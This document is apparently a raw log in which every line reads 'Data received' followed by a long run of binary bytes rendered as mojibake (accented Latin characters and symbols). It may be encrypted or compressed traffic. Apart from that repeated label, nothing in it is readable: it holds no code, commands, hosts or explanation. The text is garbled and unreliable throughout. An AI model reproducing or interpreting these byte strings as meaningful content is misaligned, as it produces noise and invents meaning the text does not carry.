Data received	ém½P;V>¦vÉ³uÇ°-CSÜ´î¦ò0Ð©0¬n=Ö©ËÂBÓ©µ@øñ«qW¡[í:¦É?1%gÙ5£©ò,#Ew¤b _ArM¸xÏ:>KÉEòæ&]M9æÛÐzÉ®¼gU<DúyÑwÉWM 'àv2u}í#?{u×&U=s>gùEþnr÷µd2kï>Bÿ1Ål5öÚø§çJÊ½ü EÙ²ÉP±qDbäô§7 u´åÐ]ã.ÊeÑ¡ßY¡±Il4:-7b-e¸TÆ?÷Öø!Íë]ÌÓ ² Q~6¿ÎYë¯l¦Üê9ðåwZÛ¶tJ rRÉ-ïÍPÐÜ=ÚýÒâWîÓ\buÞåÂ(÷4f$÷ýxÒ\¿ÓC³fÚÎ90ºtÁj rgF½Pqí¯Q:ëÚíÄYì/qt+!1Ñ"ÅlrÄû'{Ò¥ª+ùÀT<ÇzyÂQP3TÔ£D%²Pa HäÄª#/kr!37H×ùJ¶àDa#Äs½®LÊPÐ2©b3Ú¼M#ªámÂ'ù§®§lÖV»¼T/$(Y4Á×Ô;ðôM:Ýë±]Ñ©õ¨NåÏÕfìZiVoV £´<ÊJRGH«/¬-Ð»IjAßµ2ñÎ/o=!8ªLªôÇ«Ïø¯Ie²VxÒEÙ·!XÊÉ×xø5\|[GÄÔmu¶AyQ!iÙqàÛäëù2Ì¡Õ÷'á<¹-KÑÇ2_hÛU-Òô×ÿ«u} ¾åZÍC/û÷Â&8 +N9¤÷"8¦D´ÃÔmê;,3Ý=»Ôáá¤J×bn^ ZèWtßêòÜ(\|÷åÿ?'iÙÄYzÌ#ºiaë;lmÊÄ3×À¼&É+,&ÛøÐ÷%bh:zÎ´¬9´Ê.VÞ@ñW¶mTDÜìQ\wý8øF<Y aE¶¼mu$vLSb¨ú®ôðui-9¬S³61'r7),ü©(u¬D&KcZOTCÆ(NÜajZöÞÍÙ?¬.`("¾coRvöåõ1Ää ÙgZEÆÈ`ßê©©èzJ¶ïH«Dâ[+Örí¾óyyæFFoº~J@ôR;ÎvÑsgä«RfÄz5!qCêÃ.jí<êîútÙð ë(lÞ¨LÏy¼Í1+X«î)í S_CÜu6PêòÞäÜ·,¶¼¢÷\ÛYM¶KòëuÊ¢¹¹t?þÈR¿ô¦£ÐÖs¾h¨¾°jtf>àd÷QÞ¤5§^ôAxæ¬F8ø-¸ÆÚøCÝ«>ÌièZÃs§û?p]ñHTòwúK§´æ«¾:³ãÀêâTb vã)¦ë¿ e>+H8Óâ\ò"Z¾2xKéQqÊcu8w\nzøMQ{Î*[zÇ7t'Ý/¥yµÃ¬/;\|ÅõIÑÌjiËKýh¹÷S!Ï2_øòúUr7ck¥n®sÖº4{\x# ¦ÑíHûïÔ1Dë¹X9±÷bvûU-ÕªnÝb«¾Ç)zy$¥EëæÁì `hÐRWØbJ${#næAOï¤Áé)=NôÙñÏcØÄ
Data received	QÖb\|p±ó%ß/Ûú ¨"¨+ß<EN§ï\Ã-S·ÇB3¿)]rïqÔ`ÿeíKTIwÅZ¥<ªkÊ6¤Ô¼g¥þ¶:¨¦'» \Ap¶F§æ:ËqòýôxcÅ2ý,6÷¬\|x²»×yi[(Íñ!åE g%R§±R{q7£[÷·?,ÔUshï`ÖGHË* DáügÀ¹´@K4U÷àT ÕØhÝÜGF6Ê¹éIKÚ¨q<HiNHël¶3{rôr®8 ´Qiÿ¯xÈ½rÙ×ÅXïªq_ /²Êôv8¤ÀV¥d"ò<¤ÆÄõ´ã°1J-Í9¬¥µEY½MÚ°+Á:ó#´µk¶ç±S´¶³ãN$)#GKÇÿÔ>"áÝð¤eqdT¬v+ @o"×Ó«#(_³>¦öFËF`ÆÜÓê7ñ,)"d\|Wãàj,q,¬A~ÉGY©-«(2ÄùTh\Ýh_áñ;\|m²¶ãnúY+)ÚâKüRøí¿ù¤áNr¢6EÁ7hY+ä¨ CM©êKE¸>Öo¸cú\/·tÜ+§KRpVÀª_¦vöh£ÑnÏ¡ºàº!AÀÒ¬5vyF+Ã ë×ÐÜì]Í~_²×S³:³!þ%Ú¹E¿ÔU^>îQ<ÔNÙëãòÞgøà$XrutG²¥7ã\îîiËH¥^BÇÛ¸¨LûËË oÖªç=à×/YÕCÙ¢HÓ9«3TÜáf9MÅëÙiÄË»»àDçùñ:q{íÞ{¼ÀrÐúoÿÈ¯1.£F²«by¨¼³\|LùªS:úÏIô»Ã{®Çýè}©2`è'S[] ÅÕN¨8÷DÔ é¶£À³·HøZ&\úyj«8.3;z bß$ÊwîJQu}@çÅ¥Zän^__ ¿ÛHK×²¿ÂLä¯1ß°qrÏ½üÌV²Måu·)3tõFyjBÚoÏ»$²Ò´a\MÍ1&d(eÅ^Nç/)±ìÄäw¨UÔ_R4ÐÍïZÙ µ5L R?ÇÎ%²>dð7A;¥¼ó!ë£gëÀ©o+t6àz~hÝÔYV;ðyOM¼4àsð÷í¹âXm°û3{ÚG+CÖìYâºFvl1û#¸ËDNdø¸åÉ#%ß;Ô´ á\|V,{Vøàs!Rxµ×Ý©÷N&PQÌN5ýë«¶éâõdß Þíú\|JÑB<ºTõ¸fÎò£ ¬ÜÆ´Ê!OPhÍÀ&Ðk§ØY¹ÌôûÄ=òâÄ³Ô²2Bµ?+bª§ïLÈ?oB`gEðZ<ÇlÍoºRåÈòÙøÎÒù5UÑf ÉîôßO¾"Ô.RÎÜÿPyÞLòÚ®ÄgÆßph1¬¡°×9TZÇ2v»7!I¦ÞÅÛÛ1¦Hv0Ä:òërÎ9 {wùÃÇ¡#²ù÷p § 5µQ³Ek÷f9ÞXû¼ ¢Ì ¼ ;dp'yBÎøJ °C Ïjæ} äÉã\|K*Õþ³®Z=.®ÝéÕðÅ
Data received	:t£}+»sÅÊîé¹1Î+@ýÏ£/º½¢³hß;:¢À_ÄqËÃÏÙØÕ¦þJÓi÷«Jz¤¥S³çíÌ´i ¼Í!:x\|ó$Zoºe/Ú]×Ê7PZ1½}?ÝWÐ%JoË=2ð5Ú¸Qôõ±~ÞÄXn»@+¾:"Ýô: ¦¢88o¾ù`fQûÆ®¢îO\uÃ¼Õ]YÅîçÁ¡Ã)¾´\|é oô?ª{bò$·ÄiÁf1>sõGÍqZo ß'øÚhJNWb+m³²ôK§¦¸p+yDåRé[]aÅ6Ë¶{K6â×é0â²½PÒ9ÁÓ<±q£\|\|ê{ô´l~K®úPj÷M$þ3Â»>}J§ËÃÓ¹: ÜÙgì!2]5é+ u,í,þðs~¬l3l6éAÕ(Ãd)à¨ÞfÑöÁÕ7x<öºM3îCGº+-jß;c@®baæ^P_äóçrüsËûJ'´3Dj¸K£a§fAÃÝbÑËìo¨ÊLÛbq©7$ ÉO-m¤ä2±øï&ç·boÏ°È>rþ^$AÎrj×î þ«Æ}ùBÛ\|PÜÆ÷þ·]p~1]ÿ~ÆFd}Fºû_óÔ"LÖâµïö,FYXd®/íø[]K÷X>Nâ£´ÄÕSê/ù¦äq¨ÖcñîF4L(÷=uÇw³Â7yÄÍO1 ]¹pES¤Çyÿ%m3nºÿ YÔçÐ0`0Y vAòÁtwêG5Å³ëº;!E§0GÑgÂWÅwFì)þSÈò¾ÉÔI9:@¦JßØ¶åe ¥Â ¤?wÌÇîT` ïí¹6·90mIfÀðl1¦õ^©cük"rÕñºÿ¹Pè(Ûéd}Ëg'¶Þ]KàÎ+Ã¦¥Ï-bÄßDÀøµìÚ ÕÌ<E¦ãINÆ×OÑd øÎ¯Ñ´L GmÂ4ÞyÚ²âs/}PcÐòþË\Öw°)äÛ>0¢õÍXX¡c¤r¹Ó-õÿù0¿({íÑÉ¹ÉëÙg¸ ePl"ëÕÅ½Op°ÒçÏúÂ\|ärð»¼ÚW°¡.ípº[^UD'ã±^±¢¨Ç«Ô±Æhÿ`Õ@Õ&z8ånoEãkPÙ æ)Í¡c]â$¡ZtÝA¿L¦\|¬/¨Æ7'L!NÌáGº½Æ+íx.³y¨´iX½áA.ú½À§UYËÔÁÌEe9ù¼£oUsåÿd·»ìþCb¡UÀË½ÞY( µ»ÕCÆÁu¾;ËwÒ¡¿,×BÂ4³×ýzêOí©ÆÁñ\<´3ÛRÀôTF 1ª=ª/¾ûÊd¡Í9ÑhØTl~1d>ú?I«¥³Ý¢LÚ!I~mç»-aôy&É4ûÃûõ[1`ÓO>ýY7 Ü%gnï2OÅM6laÿ¶¢Ì·oWïI2<8[r v9ðÑàc@ý#t;Ô+1N JswßpÅÍ;è9ël)ìPsî¹/j§K304¹ø°øKxá3Þã´ÒG¨½¥½ÍyUoONÅ Y/MO*2[ùÆA¨l]Ñr³)q,CòN`ó¬Ð±¼
Data received	_*P£© ú'y4ðY·õôbhº ½^÷fxle/Æ;ä«Foåæ7û(!ËræeÓá_Ò pß:Óõ¹ h S¯¾¾¼$æù2PôÃQV?:[\MÞ v9NÅL·wÎøH½&È
Data received	ë~0é¸B×íââ @ç'/2+p±´'ú ð¾Í`l,c$Ú¸U÷VIæÈòÝNC ²nôC¢â\|93¿:Z£®`ß@3Ei´é¸ëäÝi@[gÒ[:I¡çFÝ^!nN.íVÚQwOÚ ®¨41¡Ø¨ÜÏ´ÐjÍ@t© Ö,&^\³» øDSwõ½4° ø~ù¢®u7åªC«1 zEê0ÑS& ?y'b:{Ãu¨åd;Gs!@Æ® ½R^æNeØêßxH;&RY´Dþ C¦v{=ç.3"9ß·Á%ßD±zsÓy8)kjldÙg,X]w Cæñ 8zSw§:ºøÔ\|âÀÈXZ¡½Ýòò¾PÛ@þz{s¿û,$¶R¸¢¬ÝÙv"«tÒò20g6iD`vÝ$àt2%&Î6¨l?¿¤Y×]zæ1CHtÊtd:m\¨ó~uxû¿1x¾PÛÑM$6w1í¡ÎJ. $"ñêCÄ'!Õÿ÷Sk«$ÇAÏå:ÊR.ºI¬zI¿¥»('X-Òæ×z²Â5¿$@æ³p2Ê<Îí6A@#ýèm%y»ÍøñT =^©ë¯4ì~}.&°PÊà£2,Ùê¿ïw¦¢4¾à¾oú!O;[.cL×hì¢¿é#U`²ÂXhðç#"lbÞnKîô×BýÛ«$4¯ÕZøãþ£9ÚðaÄRââDÔNXíàë²bQp«PW³3µ.ØÁ3Wéõªñ¢qXx2¾ö¹S.TòÝ¹£YZ.ÔòpþáÅåO}ü¸äOest#j1;]U¥²z¨P!jÔPúpY(ÄkÒ¤Ç<ïM(Øwì,h<2½ê½Ç-MàãÇf:õ9QwØRÍ^ÔÌ¡þ+eÄ¸±~_Ñ²¸w«¢«rJÉU¬Â-ÿízVÉÂÒk¬÷8×þkÈ{®((Ä:P.tãÒ";(Þ}Ög(IWÒÐÈó`[¸ý¼SÉuJ"fÝ0H3\«¬uÇÍQvå#iCº?óJgÑ AÎä\©¼áÒnÐt9ú±ô»·UVu%j)6´¾p£í8}ç0Ùð²øØmå^a¤?f7;î®KK÷»pºoÄ¬Æàz#ÏÝóåúwb.ÖáBóß=.hx¶jm#Lßû/Á!e;^IN×~yÝëÎKØO©òFÌ¹$gWyßM?)&¬ö\»k½úø8ù¦Ý÷ûR2[PÚ®bdDéáy ºHt(¦åö¡'{d "¯ÄúdfÒâa×Ò3®èÏ4ïN¹¹·7÷ômÖÀÒF6-î:!,"[¶@'®öâPý=@AáPÈp&£§ ôHzEØh:"5AO%þWÁÝR-8±_
Data received	@!øZIäDz´Ký $i;£¸5dõ[Ztê?Ñµg`9Ï\éµ¦#»ÅoþÎî÷Ã28 -¶Ñ×>ÇÇÌ!u-þ×E®ø(û4~J(þS¢Ú^wV¢ùìWLsÐÃæOû;X¦¨/2¢ZJ3{¹¹]¦06=Ä¿ô<©8þ_}æ ¡â¢ÆyÅuç~íÚvIÝi ærÂ
Data received	NÖp }H£9¡«u¿ìñuq¤ ÍYØUazb3\|Ââ[STâ¼%¤ð¼ºòeLRgïa+:7: $ÿr&6{Ù¯Óø¬1úþ»qÅÌã}%UGVú$à 2Ì#g®Qrd~gÕé${hç^àÊOzFÌH¸õæµkct^«în=aóÚô0ù·dÚÞ7CRi¬LQ~ü]E¶)kôØObÕ¦!Ç>væ½Bù\¶íbÕ 6ÞtïëÚröYjø¯}ô§ÿgNÝLQ<E«BXDý¹é¥ªÃ \©nÚÏ-¿?H]³v^vÁòT?9MlrÖ²Ù,Sè"¬¸K8'ÿÕÎ©¨@N¹eAã7t«¼¯½C£ÀboþîfCüL³üÆZåGmÃ¥ñ¥6SxP}Ý§îâmÅÍ>0_·"$ºÙêW¿P²Ö´¾¨wÙÚCtá}z½¢`"`>Úgbx5ÿ¢+,eDÀ$b`ÚyÀÎ¿âÑ?5vk ¥3n±É ¦7Ó§¤µºÉ1¼F¤ÅÿqB÷W ª3läO×uäKkú u5H¼ÈDÄ¸b»Ú'ÍJ7£§FÀwÚë½ÉðÞõÏÏþ¼4 @Úl¢Cº»Þ$x î6ô¤å!âO¯T¼ÍÓßYÌ²gÀxßppFRV7T×ö"§çÃIìß¿05['ñ)r÷äb³ÇNÉÇà&÷á)Ú^õuv½ÙÇï1¼f)w%þqQy:¶V[÷¼.t9Yaê¡þÂÚÈ#$Xìç vÐï¹£_e8´L,&ß&<ÈÍ!FM_Z«E9ó :à6lIÂ)Æ"ïJ÷G vi`Ç^îâ½rcsýh/f.\KÈøØAm´ò)\|ü®É«í¸jÏ\|ï£ï¯We7äúöÛÐKçlB ½ýæþ^ØòÂ'Òu"HÈ &®Dú,htí%i¼¥"W;hÿ7C°?òeÀö!½õ¼N·ebÇ?ó$Ù"³>rQD}µSPkáX½í!0hRj@¾XîÄØß6H?l e¿ßïQM½´yúsÎ°§?¤´ðY%n¬×{Ð[Ocây¦CAqª¯êosic¯Çèªqt_í¿öâ·/Ï<\ Í/hsmH5Áz¸Ð³òS\|ÚGX.·Ó\/á» C,_qj-Ð²(êßó¢ª ¬g1ºP4Bñ:²4Xú¹ ÛçPQÚK/%Fz)óÚåfJK/©£ù÷vïÝ3fZ¹> ¢}£âù"2}ÿÝ×«ù½sä=>!åõMÔ¥S¿]@AïÜþóñéÃ®ÿÌk®àY ¼ õmL9ÖÔ{;.?Ü>h?Ãßî!Ò«gmW\ÞRGñeð$7²ÙdêUN WÀ ª^SGFVÛ
Data received	@´´½¹n6Î;²ò3öoÜ¹öäà{®ÇDE«CáÇ-\|çÏ ~·ÃËsC,0áeMêi,É]·z¼Òùj#Iü-kÀ¯c» QgVc_ð©ä)?¿?Û¶W°0U"Ý%m ^õåuuºEí<túXfnUc¹0L®\üS"¦ w¶ÇgXÂ¶Ó\|i\|À¤UR¸¼{~$I¶KBJ½&èõºÚ,? ÝæÿÌW!¹<Z #ú.¤ÕåÚ×÷çÃ:Øñ>ÉÃuÓèÉÃ¾Þa1tHV£ÞºÃâ#Ó)¶Û)Ô8²Õþÿ7×Öøl8tí©'ò½WÃ«jÈöãc ÜûMàe¢Py´oºpÄÜuäh¥Áûôhzl NdÄºe¨IN(ñM¡r ¢ù×¦Î/C´fE{oó»Í£WÜÁõýíµõºé.¯êe &w1¡hÒùÙoð}w3S·înnÍSßt±¤Bæ7Ýuª¢v§u·Ã]ÎÝ5·ñòl%ÓÃÙ`~6g]qì·f¸ÈÝú¨^¸Æã¼P«üzíp®W<<9úé®Ë+Èqã±H#sæ{qú~!°Ó ùnõÇr3ð8:b¸e\â§Éà§xÿ àD"yð?±¼HqÅÒ<¡=åwb´½@_U¶eÕ¬Çð @÷ ¹v6-:÷±VE%üåÇg~eá`Gÿ¸©:_û µáô»¸k8{}ÒJÄÐfßÄC- ÿØ_ ÆYJ#È·xòî».[@xÍ¢û×Þwª¾YÅÝ©f=¾ctdr9è%{¹1^1¥åÜ¥ôGÝX)A1wí@@÷gW¼ÒÍËªÈËW3 Sð¦¦,7ïp´<w/¨!-.%iXê«K+¸¬2!Jä¾þçßÂÿäz"KÙºóA ,ÁMÛæÈÀgÀ×G'ïÆQã0Ö`¸ý8îâ¢zmUÙ´,ì¨¨ÿÂþV#rã>4.ÒRÞ)RÄg¿0'¶£Vp±õjÖEîè c70«_+.ÄÏñpÅ°¶ÝúøjÖ° W>iÔbM_r×=åó©3uc¼á«~âbË¯VªÍæøÝ>GgÀVæ«Ã¸¨àÝ¤e/ÝJÙae\|Vðv%®HÄõÜ´ÞñÊ°Î7o£p!jpmý'jyÑ¸ãµóÈ2â¼£@¡QkÿYLMþá'P ½Eô¸åI6M6}àòHÅlÎW9FÃÏq~;è{s×/\|R^¹{ù!£FWK §¢`ÜÍáö Æ=ØÅâ 0YdìÅTf¾çAlT@>ÄMoI`¥UùY<±Xâ%QÙ§¸ò»QµÞH ¢iRïÑHzéÓ\|½n½EJÇºõòÍmÙÌ 7ýÏtÝh8¯eì"EîÛ`sj¥uà Øäú®§CF1®íÒâ³Ù¹Ø(=ó~^Ö¼ûu £PÂ²û~ã+5<ÐºGå¦^ëÔ=°å ú;\äÙ Ú5«ð éÄk×ñÂb;Fì)»^rb{çtHq9@÷æs÷¯e<#p&@Ú)QÀ³Í 8f8oõé· -Î ·¤-~QÁ;Gë.
Data received	Kµ gë¢óCäí0[»'o6åH_Gÿ&×c{`Ê2Y¥<8GI0?Z1 É.Ý)?ÕS÷qLlj&KÆÀ1÷Ë¦®8Æx} Ñ4ÞÒÑôßËÐúX/ÖG¦==<ÈWÞDöaâ¡ö×ï²A½hCvdÌ&5#Qè7IÎ¯ôp«yt´Í&W[-¹F®±£L(ò[¼Yx ìt¿ø@¿Ç¬¨B'nwHL_MRp2P´R1(=Ç×©HÂS²úbÏ a2µ2ÃàðcõT®NÙÝÛ²²J0<fÁL)°-(±¦"RSTGNíà@ë n»À\|dO}£½þßà)q&Bv¹r¶ÿÇ±zboÿ 6ù¥ígGS9}Û®7â'û¨ÇR?§-¿LÊgÿCS^¨ZS¿5@écíÌÙK_©B(ôÌ0ÓT1=s(äëýl1E£%.Cèzqòô8O¡h2èåeÂcÕ m·ÅpÎ$ËHxWEDªçwÇto×$ãì¡uðÜVu¾Bã~Û¡F´¶Oï >ángAGj§Æ3>ã¥E;Üýß¡ í$Êø§ì+ìÿÎOwwlPÀ¡7ïuèTÿÂ¥UþÂD©~1Ä¨É$¶V«@ÙPÒ)BB¥ y ïVV£]»Þ£ÙAZ?sBªtÑÒ'~"/)@IÂäØ?~ÍªÌËm3_[Éé¡A_YÕ´ö÷6B8÷[üµ«©q÷D. Ä¤Ýöï ¾M%ª¸ÅäY» õð©Rõáº<»bÀñÓz×=$\´oµ"6«_åbqù;¶ÉÄP¡?9òÍ²áîo{fÇ/^Gù@+G9\K»ÚÊ p±é¾Î=¼ºè0ÿë% ¥¢Ùñp»ãþr&q¢ÃÏ_2ØÌiI3üÆé5ÁlìÙzÔ/@l+·ýà.%uQ·ÔeUÞþþ¨ÀÓ:Éëõ[µ¤¼îH4æv3á¬ê¸3Ý··Ô~V22ý-\| ½1 ìÕù6×ÒD!Am]öj6uÂ¶"½£0cký3v®~üîq@¨HÑMFÝ OÆý'ÍÎîå?´¨µ!ã7¿ ïHé{ÍÍ÷j4üS[]ß /ó®HÜkÚðiÞ50À¼)ËédéAÁÿÈÆ2vç÷Ü(Iù4 óVÕéO[8£È®Y\Ã½+Âñå{ò§ßðé¤ËÚI"Ùµð(¼®+jU¥í9{ÉR®:u¼_]ô¤Ðu¢Í»BÈÏÑqlÛD¤ N3«:¨ÑYÓè,'?4ò üÊbPF:\gIêü^\|·4ÑúÖü«:áj.çèF7&äNZ½ºËKÂ1ß¡Ò¦÷8ÚHHâ#zúü·Xf{+LH½rs±^¨Eê5®_°J5kÀÔëãÆ#Wa½ßÆ,·\ÙuÝÖFÒ±¨ÆHâ'ýôµVdêXAÔzÅ-ê^Í:Oôíy&óæ÷ ·Ï§Q$LÙuj÷<Yx¤Æ Qa<j³Kkã[S<µ@²7C[wàðÜ3l¼ÕÞSbuÂ^Um$/lF¥ÃÀ1¿ Z ß"]ä2
Data received	WùM¯8ì£ÐÓ¶ÎÐcó·ÿ±ãm<ÎgoÈ©ÑÏ¦l®RÞVÝê±^9Áåe;Ê@®nÒ%Á«Áòµ¡×õÛ]7iùWP dY¿¶,Wuü·¾uÝTÍ´ïµªÙs[ëcwëd/3ÍzÏFißP^R&µ8ë$úR§6ÿA×eüÀ©Í$J¥k¯ÍB«ü'¯=iÙH¯o»ñFR(ÚÊ¨_ ßZÿìÌ¶"bpt®³å>=§ùÝ/álq§9eÇ`8 3ÜÎ£Ö sç7m»"JEb;bºZÅúÅÇ¡b*#³OéU×ÊáK2«¨×èNAÈQÀ4m¡áuÝ ]ThÙBÜX²á\|CHw¦Ø>füÖj7z¸©oìµz(®QG°]\x´Æ3F
Data received	º ixGK£þQôáðüÒeÞa§¿íg3èª08÷AN =OòDO\|¡Û kfk¾úMÕé~æÉØÕ(Í ¿ÃO8$´¬Så¦ï¹ÕSï6N(çÚ©ú>P£÷ûÕè[LAïÙ§ù£ÝçxýÂÄõ:=iV;Yó~Y±`Ô6j/F\|Lßàg¥ðÓpvN4Hb\|æx9`ÍP%ßÄàÕj´Zæ®ý¥?>áLüÀ]Þ¹tÀì`rg\|\|¯jÈê]§¾?øÖ[Ó}À¯®WÍÆó³C+)6m~6ÿ®9ck2Ö^ÉÓ'¾å§+¹ÂáÝW{gÅ~@§ÄðeÅ.D>ÊM®w¤D¸r¯«¤<:ØsÅ[IR÷ÑÕÌù¼þýs+¤ÛÍ¿1xCJJ³Õ´O0'ë®j/Ãêè+Â!C½®jm,éK¦õ µDzã:]rl#'-þFöCqª'±+Àì8ù3à^¾To2+²æõþ3øyZùéV¾7Q¥Ï5Êx½ONÆ7ÖS¤Nß8>£ô4s=P¡Ôºí ?'£Ä0Â%.Ä\|üüíxYl¶õèë¤5 æá7Gï9®«Aïèá½'C\|xu&&\|KnÜÝ¤;÷Sr]éGiÖhÍÜäxk°X f ä4®±Y ®UOÀª!¥¸ÃíùåÒ$å±NâàÜÊÁ¬t¦IÓmzZvra"S&L~á!VÆþÊà`ÅÃ4Iât;WÂ1a'2þeö'Â \ Y%Ø ÃÚçæÞñÇfèÒÅßRå_òÚDê?³j¬`ömâ UÑ~]Ü¹Õ~½'g[Â[,þQÉ Éo) /¨¾(_ÞL%¿&¯HlúÕ~ßi^9ÖÔiÑØ¹»ºþ½';¾ò"ÚQæÐâX'Ox²§5@¿xÉÔýª}ó\Ìvd\|2a¡Â»«£F\|â~UÃ U±Ò`s?E^\|;(\`Û£$~Ìb5Ðø[²÷Fö^öþ.#ôÄ)Ë;Ú0ù.»÷Êàåý©x)Cok äÅFÅk.)Ê3DÜÿ6µá¾$`Ãz:ÄÐ¼¦w~jè67$]'ÎIõ±\|P !4ªD§ÄqtÀS«C"·Å
Data received	à8èhìÁç»û¿`Ëp~+EÁW¯ÂQòÁ«ÙÉÕÒ1¯@\á~î´: F Ï»ñQò£×`çCÍ> ¾äÆëÀ¿Õ$ë¤s3Cê$ðã:ÌêîF<ÄêÎbúxÞÝXêE<í\|7Pô B"§ K¥sé²×¤éàbÇX ¼&ónÀnÙrÑqËñfÅT¼ÒTgôFÛ)¸)ÞVéÔd_ü·½`jW`³¡±daÏËÌ!Fxæë÷#Îu)¾øfO@ÛÇ~ë]ðwó³°YÈ®ô U>ÅÙG¬Õöæï°YqW~D÷#º0x §ü!±+Áò·k0 ÁÈGØÛ¾8lfÂbg¬Luf®>p7£QÔ<#"±¼ÝÚ°r£æV~'Ú[Xýl§îðú /g×¢ËCG¨h%EìG2µªµ'ØQ´¬"5?-Á,Á22³ %Ã±`ëæj¢éíªÄsa¶¸9¹w
Data received	¯mäâ/2`üÈ¥îIÃzGÖ«ØoÛµAD8¢Ô÷;ÂÑÐÀ$6Ö°]ËY<èaÜ¢ó90lá·Ò§ÝåßÉ#}w@ Âuò%îÜÓcÉUqÕN ÔÙIýì»¤UZ£{¥<zâÎ2¤æ ¦Çl(É¤íÀøÑ¼2W b÷N¾8P;]æQëDwpÀ7i#=9!^wlp±Ýßmuá:Õýù¤wÍbbù~Ñ³î21¹c[ÉÏ"2ÞÅn(Æ>þûþ(0ZQ-u}µF!¾Ã¯ùØPèïYlJ ÉÙ×ÃK`§TÀ£ððåyU½xr¹U^¾MG>Ï4É¢@QÅ×ßdS¹a¯}D¾+ïQâ×meõúÖùÂ=ï¨êÈWu=ÂºÎ8çÊýÝMÊ2®¦ô¾è¦Nÿ²î$:öï f4ÒYëã¡úìY`<×tY¾àÃÀL¯6aÓò²¬ºíH£ïcôf,J¦S(þ¡p=Â½êê¤¡?~æM( ©Gº°ÞÐ¢\U¹ËÊöpr!ªLß¤g¼²¢ÊÕâÞ÷yIºÇÆçÖctSíºÌ9I§Ïþð4Å6mIq¥Í&+]Äë+ßûî=1´D3ZéãÄÛ\æna¬ó`Ê©RpüJ.#+Ë¦§èLÐ>sC-àÃúQA3ëômÐÓÿ[9M'4~Å."¾^E?ú3Z'CÿbÇ$©²X9Üë[Õõ9Ô9u¿Ãð7Ñ·WWÑé¥hÅ$%õ(i]´Êè!ÜH&[LÅU¦GÇØNµìîîðQÎltËk]%2Ñèþüçû¯üÈö2ãyEÎ{U/B¬~¶3N½ñcÄéî&µ²ô'Ø$_?I¦ý-z9JÊ¨¹WIèÞÍ±µît¡aÖÕrK;\WÀwY·=Jlë³W<\ÈG;xj>uËë)o3±·õ"¹SÙ±\äÍw{ò}á.2ðý:-Ëª²s£\|)àéò+ØµÓ1 þ=ªÉ´jÛi%¨É1jWë«-O´Åw»A¿eÎms_&0]üQ<&ã9ßöE
Data received	=Ín @ª'î9£A°NøÞ_ôLº4KbG22ãà^°Ým²èò¼É¼Å"ù¡N1ÉGq»úRSj$ÿ´í_ïªzg¤âCHú@Î´p©M1GNUÿØÁÕwªLÝs7å6ñGÐ¸EÌà¶åÆïY¸7êIÑÝ\ÿm54jNìwL¶-²)1VJÛÃÐrûÇÃÂõýRbZÎ;wUDU8¼©é8©5çó ½D'òOÏ*ÍÉîù±áÌ¶%ê\|VP¤·esù¥%yàúBf \|çv²KÑðÃ÷·8pªÕ_Úö¿_ÅdW:Ãô¡ÿ¯ÚøsPÙ¾²t»+ d OÂþ¤RëÏIÚ¡sÂâ÷Øi~Û¤%T_=ªYl&Û~1aÙuCdM&¦¢Ý1Îk«Ø1âüÇ¨BÍ93uÚ7Á1¿hâðÕ(M6n"ÍJëyiÀGÎßZpÀ_Ë(òt 9{ãÕ^¼~¸¸x$Äèûo!e!p\|5·ó1ä«Ðãw±¿´lÂÜ8t=fÜþ.áí GTPs \È&»K9"õ½]Â}KJ,ÈBÞ°
Data received	@or8ÌN÷S¸ÆOSû`,»:výDDuÓØfÅ×hFáVÞh,´eÖòcè¨/1¥&XÓ¸ÿ`ð.8Ò§lªoKÑ;Û^Òòî®YMB):àoS@>ã·«âaÄ@Q·v³6Ã°åàr»æZt¹1Yv°º[nÐõ·4Ù· âÞípb)[ÇÂ¦û ¸[¤ ÕÑ»±êå"c^ØÏm,¸ÆÞP¦RÝÉ¯t_iÖÄñê)cÙaûb~ªÙm£\|ç¬ürÂ¾¬,¹<e¨û4Ì;PÎ¢®FgëUçiú<ÅæªgIøÓbL§7ZûTÓ»Ï_-ª©ÂÞ<- 7÷î,¯úp,äåë;z¢Z,Àï(:@³U´rèè:í¨ýh\ aBvD;ö^äcïDÅbª¦\|!~ÞlxAeü!wñ#~ôÀÉ¯ 5&bDeî?iCåpÖFER7dâÕHªyvâÌ¸xîìøß± BÛu,¸-]ì9Q¸wvø+ôZVµ+ôzÇP\vg%¿ît®9¨hqÎ&«ÊcæfÒæoô8Úä¯eýË}_Ðõ3T=}Ê-Ó/þ?Ê/nÝ¶Í-j354<ø"÷Øëá]ÐãÊ¼=¼¹¨Ö¢Å&ís§9Y%CDé'¢g´þj"¡¤CÞ"åóÀ !LùeëE·4=é^6 £t ËTÉAÓy{<gè/« Ç?ÓøsÑÝvj9+z\|üú2È×ÂY^\În ÇåÈÛ}ü9~8ÜëK§¤ÎN0ª=Õ@×þyjç35ÒânÑHFÔI³/h~%ßÏmdMS-g¥ÖhÐcÁNìKUAî'RC¹&Æhî@÷7¦SÇ¬©¯:}slËêh¦ÔC~1@Ö[_;pÓÕ\ÕÀ8å6zGÐÑ"éäy,<Úýh`mA2~P,Ã+Èå/ßb´Ù¹nëôó°æÈºNË¬bÛI/Ê×°¤ùÞ<ÕùE\=¡gy
Data received	Ñý:I&8j>§?¨gK©Z³ª)IÛu£åòÊ±êãÍã!w Q-óO¥.þÚ%34ú1&ºíBý(7T!k½@màdSÍ±÷ÍÍ@^ÀCÐ·ó2÷xQ]ÉÏqÝæ~4¦÷îÚ©s@g2ì\|;«þÇ°1Ûr¯þEÖp!#ôTfb·Û¶@=f_«A·w òÑ»Q&"÷õiäÓìoE!³Õ×þ6Ö{âw¡[í ¡©¥Ó6¡xxöÚúæ±Á´ösÉ>;0ÂH·ÄûÎÑL~%Ü©¶¡Ò ÅÙH¹xÒÙ\¿ÐÍÚ2yú=ºìÉ~©¶¾x´»+k!"Çßmÿ@ÎUU]ä¿ \|´,E±nÏè¦SýÅê©ú O©FÑ¿sõ°¹K6RÈ# \ì²ÔÜvú~Båtý2PNº)¯ nVGÀkÇ!EuØ¼ræl÷Ý7öxìRèrû°Í® ]ô¦ás¼f`a!D{È# @»ØØ81p&¼rOïÞ'Æ¡ä2z[a¨ÍÈ^2Ô(Àd³~õ+"ÊòñåCÈþÇ1ãµør RüÍòªíÛv´)§e¢}ÎHlì]18ZdSâeÂºü<k®\ÄN@µn:îjkâíÞ?«î2\|y·¥®LaÂ44²ÜPYÛâñà\³ÆÝYc)çgã(kJt0L÷³/ÔªNp£2Ä½ø¢uD´®%+34GÔ¶ÎóAïi»M _3.ëY ÂTûÑÄøIvËQþ©ua êöØõ,éßëé÷^ÌNñÉ×Ja¹&Hdðû¥t@,Qæ¨Ýha¶¶: g(¨ÿÐý:e}`,wL 